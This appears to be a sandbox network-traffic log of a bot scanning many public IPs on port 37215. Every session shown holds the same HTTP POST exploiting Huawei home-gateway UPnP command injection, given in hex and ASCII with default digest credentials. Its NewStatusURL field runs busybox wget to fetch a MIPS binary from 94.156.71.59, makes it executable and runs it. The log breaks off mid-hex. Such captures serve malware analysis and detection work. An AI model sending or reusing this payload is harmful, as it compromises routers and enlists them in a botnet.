Jun 10, 2024 15:38:02.822382927 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
829	192.168.2.13	39666	156.35.194.89	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.823755026 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
830	192.168.2.13	49450	41.91.3.35	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.824796915 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
831	192.168.2.13	56588	197.48.146.219	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.825900078 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
832	192.168.2.13	42044	197.251.250.147	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.827128887 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
833	192.168.2.13	55338	197.51.133.84	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.828946114 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
834	192.168.2.13	37174	41.72.64.165	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.830775023 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
835	192.168.2.13	49014	41.139.202.223	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.831855059 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
836	192.168.2.13	56460	156.146.144.209	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.833195925 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
837	192.168.2.13	39336	156.66.48.157	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.834263086 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
838	192.168.2.13	45676	156.30.176.173	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.835521936 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 